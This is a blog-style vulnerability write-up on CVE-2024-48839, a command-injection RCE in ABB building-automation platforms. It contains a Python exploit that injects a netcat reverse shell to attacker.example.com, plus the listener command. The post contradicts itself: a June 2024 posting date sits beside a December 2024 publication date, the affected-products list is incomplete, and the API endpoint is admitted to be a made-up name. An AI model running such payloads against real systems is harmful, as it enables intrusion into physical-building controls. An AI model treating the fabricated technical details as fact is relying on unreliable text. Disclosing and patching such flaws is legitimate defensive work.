*Posted: June 2024*
*Author: InfosecDigest Exclusive*


A newly disclosed vulnerability, CVE-2024-48839, affects three popular building automation platforms from ABB: ASPECT – Enterprise, NEXUS Series, and MATRIX Series — all at version v3.08.02. If you run any of these, you should read this carefully.

This post explains the vulnerability, provides sample exploit code, mitigation advice, references, and why this vulnerability is a big deal for security in automation networks.

What is CVE-2024-48839?

In short, this CVE is an Improper Input Validation bug that allows unauthenticated remote attackers to inject and run arbitrary code — commonly known as Remote Code Execution (RCE).

The problem is that these ABB products do not properly validate incoming user input in one of their main web API endpoints. A malicious actor can exploit this to send specially crafted HTTP data and get their own code executed on the server, with the same privileges as the ASPECT service (often SYSTEM or root).

Which Products Are Affected?

According to ABB’s advisory, these versions are vulnerable:

MATRIX Series v3.08.02

Updates or patches are being released. Earlier and later versions may not be affected, but ABB recommends everyone update regardless.

How Does The Vulnerability Work?

If you send a POST request to a certain administrative API endpoint (we'll call it /api/config) with a JSON body, the service reads user-supplied data without proper input sanitation. It ends up concatenating user input straight into a system shell command.

Imagine you send this

{
  "action": "backup; ls -la /tmp"
}

The application might run

backup-util backup; ls -la /tmp

instead of just running the backup command. This is textbook command injection.

Example Python Exploit

Warning: Exploiting systems you do not own is illegal.

The following Python snippet demonstrates how an attacker could exploit CVE-2024-48839 to load a malicious script (in this example, launch a reverse shell):

import requests

# Set the target host
host = "http://target-aspect.local";
url = host + "/api/config"

# The payload: inject 'nc' for a reverse shell on port 4444
malicious_action = "backup; nc attacker.example.com 4444 -e /bin/sh"

json_data = {
    "action": malicious_action
}

response = requests.post(url, json=json_data)
print("Status:", response.status_code)
print("Response:", response.text)

A real attacker would listen with nc -lvnp 4444 on their server and instantly get a shell as the ASPECT service account.

Attack Vector: Remote (network)

- Authentication Required?: No (if port/API accessible)

Complexity: Low

- Privileges Gained: Same as ASPECT service (many times, SYSTEM/root)

What Should You Do?

1. Patch Immediately: Update ABB ASPECT, NEXUS, MATRIX to the latest version as soon as ABB releases patches (ABB security portal).

References and Official Sources

- ABB Security Advisory: https://search.abb.com/library/Download.aspx?DocumentID=9AKK108466A7925&LanguageCode=en&DocumentPartId=&Action=Launch
- NIST NVD: https://nvd.nist.gov/vuln/detail/CVE-2024-48839
- VulDB: https://vuldb.com/?id.258572

Why Does It Matter?

ABB’s ASPECT, NEXUS, and MATRIX platforms control HVAC, doors, energy, lighting, and more, in big buildings and campuses. If someone gains remote code execution here, they could disrupt operations, spy, move into internal company networks, or worse.

If your organization uses these ABB automation products, act now. This isn’t just theoretical — public proof of concept exploits will likely appear, and threat actors always move faster than patching teams.

Timeline

Published on: 12/05/2024 13:15:06 UTC